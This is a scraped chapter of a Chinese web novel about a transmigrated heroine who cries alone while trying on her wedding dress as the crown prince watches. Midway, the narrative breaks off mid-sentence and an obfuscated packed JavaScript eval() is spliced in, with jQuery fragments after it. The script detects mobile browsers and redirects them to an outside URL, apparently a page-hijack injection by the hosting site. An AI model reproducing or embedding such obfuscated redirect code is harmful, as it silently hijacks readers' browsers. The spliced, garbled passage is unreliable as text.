默认冷灰
24号文字
方正启体

120. 嫁衣

作者:所善兮本书字数:K更新时间:
    张慎一案尘埃落定后,朝局渐稳,景硕帝便下旨让尚衣局赶制太子妃嫁衣,算算日子,距婚期已不足两月。


    这日清晨,萧澈来扶桑殿接苻瑾瑶,车帘掀开时,他手里还提着城南老字号的糖蒸酥酪:“知道你爱吃这个,特意让掌柜留的热乎的。”


    苻瑾瑶接过食盒,指尖触到他微凉的指腹,下意识缩了缩,却还是轻声道了谢。


    马车行驶得平稳,萧澈靠在对面的锦垫上,看着她小口吃着酥酪,语气带着几分随意:“尚衣局的掌事女官说,嫁衣上的鸾凤绣了三个月,用的是江南进贡的云锦,你若不喜那纹样,我们再让她们改。”


    “不用麻烦了。”苻瑾瑶舀酥酪的手顿了顿,“规矩里的样式,大差不差就好。”她这话带着几分敷衍。


    萧澈却听出了她话里的疏离,试探着开口:“你是不是还在为静心别院的事生气?”


    “没有。”苻瑾瑶立刻否认,却不敢看他的眼睛:“只是觉得……婚期来得太快了。”


    她穿越到这个世界不过半年,从最初的抗拒到如今的妥协,看似接受了“苻瑾瑶”的身份,可每当触及“太子妃”这个头衔,还是会觉得像隔着一层雾。


    萧澈没再追问,只是伸手将她散落在颊边的碎发别到耳后,动作轻柔:“不急,一切都按你的节奏来。若是觉得婚期仓促,我去和父皇说,延后些也无妨。”


    他的掌心带着温热的温度,触到她耳尖时,苻瑾瑶抿了抿嘴唇,垂下了眼眸,刚要开口,马车已停在了尚衣局门口。


    尚衣局的女官们早已等候在门口,见两人进来,齐齐躬身行礼。


    掌事女官引着他们走进内厅,厅中央的衣架上,赫然挂着一身大红的嫁衣,云锦在阳光下泛着细腻的光泽,襟前绣着一对展翅的鸾凤,金线银线交织,连鸾凤的尾羽都绣得栩栩如生,当真是极其漂亮的嫁衣了。


    “太子殿下,郡主,这便是按陛下旨意赶制的嫁衣,您看看是否合心意。”掌事女官笑着介绍:“这鸾凤和鸣的纹样,是奴婢特意请宫里最好的绣娘绣的,寓意着您二位琴瑟和鸣,永结同心。”


    萧澈的目光落在嫁衣上,又转向苻瑾瑶,眼底终究还是藏着些许期待:“去试试吧,我在这里等你。”


    苻瑾瑶点了点头,跟着女官走进内室。


    褪去常服,换上那身厚重的嫁衣,云锦贴在皮肤上,带着一丝凉意,女官们小心翼翼地为她整理裙摆,系上腰间的玉带,玉带上镶嵌着七颗圆润的珍珠,是景硕帝特意赏赐的。


    “郡主的身段真好,这嫁衣像是为您量身定做的。”为她系腰带的女官由衷赞叹:“当年先皇后嫁给陛下时,也穿的是类似的款式,如今您穿上,比先皇后还要动人几分。”


    苻瑾瑶没说话,只是顺着女官的搀扶,走到铜镜前。当看清镜中的身影时,她忽然屏住了呼吸。


    镜中的女子身着大红嫁衣,凤冠尚未戴上,可那身红已将她的肤色衬得愈发白皙,眉眼间依稀可见的大方端庄,却又透着几分她熟悉的冷淡。


    这是她第一次如此清晰地看见“苻瑾瑶”作为“太子妃”的模样,陌生得让她心慌。


    “郡主穿上这身嫁衣,真是与太子殿下天作之合。”女官退到一旁,笑着补充道:“刚才太子殿下在外面,一直盯着嫁衣看,眼神里的欢喜都藏不住呢。”


    苻瑾瑶的指尖抚上镜中嫁衣的鸾凤纹样,金线刺得指尖有些发痒。


    她想起萧澈为她挡地痞时的背影,想起雨夜他送来的密图,想起马车上他掌心的温度,心头确实有暖流涌动,可这份暖意,终究抵不过镜中陌生感带来的沉默。


    她应该欢喜的,嫁给萧澈这样温润又有担当的人,于“苻瑾瑶”而言是最好的归宿,可于她这个“外来者”而言,却像是在扮演别人的人生。


    “郡主,太子殿下在外间等急了,咱们出去让殿下瞧瞧吧?”女官轻声提醒。


    苻瑾瑶回过神,看着镜中没有丝毫笑容的自己,轻轻摇了摇头:“再等等,我想自己待一会儿。”


    内室的光线柔和,透过窗棂洒在嫁衣上,将那抹红映得愈发浓烈。


    苻瑾瑶缓缓闭上眼,脑海中闪过系统的提示音——【主线任务:成为太子妃,稳固慕朝局势。任务完成度80%,剩余20%:情感融合。】


    她知道,所谓的“情感融合”,不过是让她真正接受萧澈,接受这个身份。


    可接受,又谈何容易?


    所谓“情感融合”,不过是让她彻底沦为这个身份的傀儡。


    她抬手抚上自己的脸颊,镜中女子的眉眼陌生又熟悉,这是“苻瑾瑶”的脸,却装着一个明明就不属于这里的灵魂。


    萧澈的温柔、景硕帝的慈爱、镜花阁的责任……这些像一张密不透风的网,将她牢牢困住,连喘息都觉得艰难。


    鼻尖突然泛起酸意,她用力眨眼,想逼回那股湿意,可眼泪却像断了线的珠子,毫无预兆地砸在嫁衣的鸾凤纹样上,晕开一小片深色的水渍。


    她慌乱地抬手去擦,指尖划过金线绣就的凤羽,却怎么也擦不干净,反而越擦越多。


    肩膀控制不住地颤抖,那些被苻瑾瑶刻意压抑的情绪。


    穿越后的惶恐、对原来那人的愧疚、对萧澈的在意与抗拒、对身不由己的愤怒,此刻全都汹涌而出。


    她捂住嘴,想压抑住哽咽声,可喉咙里的涩意却越来越重,最终化作一声压抑的哭腔。


    “为什么是我……”她对着镜子喃喃自语,声音破碎又悲伤:“我究竟是谁,我又为什么要来到这里,我只想……”


    后面的话没说完,就被更剧烈的抽泣打断。


    苻瑾瑶再也支撑不住,身体一软,后背重重撞在冰凉的铜镜上,镜面震颤着映出她泪流满面的模样。


    双手再也无力垂下,她干脆捂住脸,将所有的委屈与痛苦都埋在掌心。


    泪水从指缝间溢出,顺着手腕滑进嫁衣的袖口,凉得像冰。


    那些阴暗的念头在心底疯长,要是没穿越过来就好了,要是萧澈没对她那么好就好了,要是这些一切都是可以被舍弃的骗局就好了……


    可这些念头终究只是奢望,镜中的红妆与门外的等待,都在提醒她无处可逃。


    铜镜的凉意透过厚重的云锦传来,与掌心的温热泪水形成诡异的对比。


    苻瑾瑶蜷缩着身体,后背紧紧贴着镜面,像抓住最后一根救命稻草。


    哭声渐渐从压抑的哽咽变成失控的啜泣,肩膀抖得像秋风中的落叶,连带着嫁衣上的鸾凤纹样,都仿佛在镜中模糊成一团刺眼的红。


    当不在忙碌其他无关紧要的事情后,苻瑾瑶将重心关注放在了自己的身上,总是会不由自主地产生这种感情。


    甚至有时候,她会有一种冲动,若是她真的就是苻瑾瑶该多好。


    她喜欢这里,也喜欢这里的人,她真切地喜欢这别人拥有的一切,别人本该拥有的一切。


    她是一个自私的小人。


    ——


    掌事女官轻手轻脚从内室退出来时,萧澈正站在廊下的阴影里。


    女官见他目光紧锁内室的门,连忙躬身禀报:“太子殿下,郡主已换好嫁衣,只是……似乎心情不佳,让奴婢们先出来候着。”


    萧澈点头示意女官退下,脚步下意识朝内室挪了两步。


    内室的窗纸糊得单薄,隐约能看见镜前那抹刺眼的红,苻瑾瑶背对着门站着,身姿纤细却僵硬,像一尊被红绸困住的玉雕。


    他正要推门的手顿在半空,恰在此时,她缓缓转过身,看向铜镜中的自己。


    隔着一层窗纸,萧澈看不见她的表情,却能清晰捕捉到镜中她眼底的冷意。


    并不是对于这个嫁衣的不满,准确说像是对于镜中人的抗拒。


    他的心猛地一沉,脚步像被钉在了原地。


    他太了解她了,从静心别院她奋不顾身冲进来的模样,到雨夜她别扭地递伞的瞬间,他早已读懂她眼底的防备与迷茫。


    或许她会止不住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018429|186453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地对他产生动心和喜欢的感情,毕竟两人一直都是相互吸引的,就像自己会对她心动一样。


    但是,她从未真正接纳这场婚事,接纳她自己。


    内室的光线暗了几分,萧澈看见她抬手抚上嫁衣的鸾凤纹样,指尖微微颤抖,像在触碰什么滚烫的东西。


    紧接着,他看见她的肩膀轻轻晃了一下,然后有细碎的光影从她脸颊滑落。


    是泪。


    萧澈的心脏骤然缩紧,下意识就要冲进去,可脚刚抬起,又硬生生停住。


    他看见苻瑾瑶抬手捂住脸,后背撞在铜镜上,肩膀抖得厉害,却没发出一点声音。那是一种压抑到极致的崩溃,不愿被人看见的脆弱。


    萧澈悄悄往后退了两步,隐在廊柱后,指尖攥得发白。


    他知道她为什么哭。


    她觉得她不是“苻瑾瑶”,至少不是那个与所有人经历过往的苻瑾瑶,这身红妆于她而言,是枷锁,不是归宿。


    不知过了多久,内室的动静渐渐小了。


    萧澈看见她放下手,对着铜镜缓缓整理鬓发,泪痕被拭去,只是眼底的红还未消退。她转身走到门后,似乎在调整呼吸,片刻后,准备将门被轻轻拉开。


    萧澈没有再继续在留在那里,反而返回了刚刚等待的位置。


    “走吧。”苻瑾瑶的声音很轻,带着刚哭过的沙哑,却刻意装得平静,视线避开他的眼睛,径直朝尚衣局外走去。


    萧澈看着她泛红的眼尾,想说些什么,最终却只是沉默地跟上。


    他让女官将嫁衣仔细收好,自己则亦步亦趋地跟在她身后,或许,他还是一个很自私的人,明明都看见了那些,却想装作不知道。


    马车里的气氛比以往任何一次都要安静。


    苻瑾瑶靠在车窗边,侧脸对着他,下颌线绷得很紧,目光落在窗外飞速倒退的街景上,像是在发呆,又像是在思考着什么。


    萧澈坐在她对面,目光始终胶着在她的侧脸上。


    苻瑾瑶的睫毛很长,此刻却垂着,遮住了眼底的情绪,只留下一片淡淡的阴影。


    这是萧澈第一次陷入如此深刻的犹豫。


    年幼时的见面太少,却让他即使在边关之时,也记得那时的惊鸿一瞥,选择回到上锦是他做过的最正确的决定,与她再见的那一瞬间,他才什么叫做一眼万年。


    在有了期待后,他盼着有一天能亲手为她披上嫁衣,盼着与她共掌东宫,盼着一生一世一双人。


    如今婚期将近,嫁衣合身,所有的一切都朝着他期待的方向发展,可萧澈看着她眼底的沉寂,却突然问自己:这样真的对吗?


    他渴望与她的以后,渴望清晨醒来时身边有她的温度,渴望归来时能看见她留的灯火。


    可若是这份“以后”需要她用快乐去换,若是她穿上嫁衣的那一刻想到的不是欢喜而是绝望,那他的渴望,是不是就成了自私?


    “镜花阁最近……还有事要忙吗?”


    萧澈终于打破沉默,声音放得极轻,像是怕惊扰到她。苻瑾瑶转头看他,眼底的迷茫还未散去,却摇了摇头:“张慎的残余势力已清干净,没什么要紧事了。”


    她的回答依旧疏离,萧澈的心又沉了沉。


    他看着她重新转过去的侧脸,指尖在膝上轻轻摩挲。


    他或许,该给她一个选择的机会。哪怕这个机会意味着,他要亲手推开盼了多年的人。


    马车驶进扶桑殿的大门,苻瑾瑶率先起身下车,没有回头。


    萧澈看着她的背影消失在殿门后,才缓缓闭上眼。脑海中交替闪过她穿嫁衣的模样与她落泪的瞬间,半晌之后,他轻轻叹了口气。


    果然,他不知道应该怎么说出口。


    他想放手。


    他也不想放手。


    如果这就是阁主的担忧的事情,萧澈觉得,她真的是料事如神。


    所以呀,苻瑾瑶,聪明的苻瑾瑶,全能又厉害的苻瑾瑶,快快想出办法吧,来救救我们两个吧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)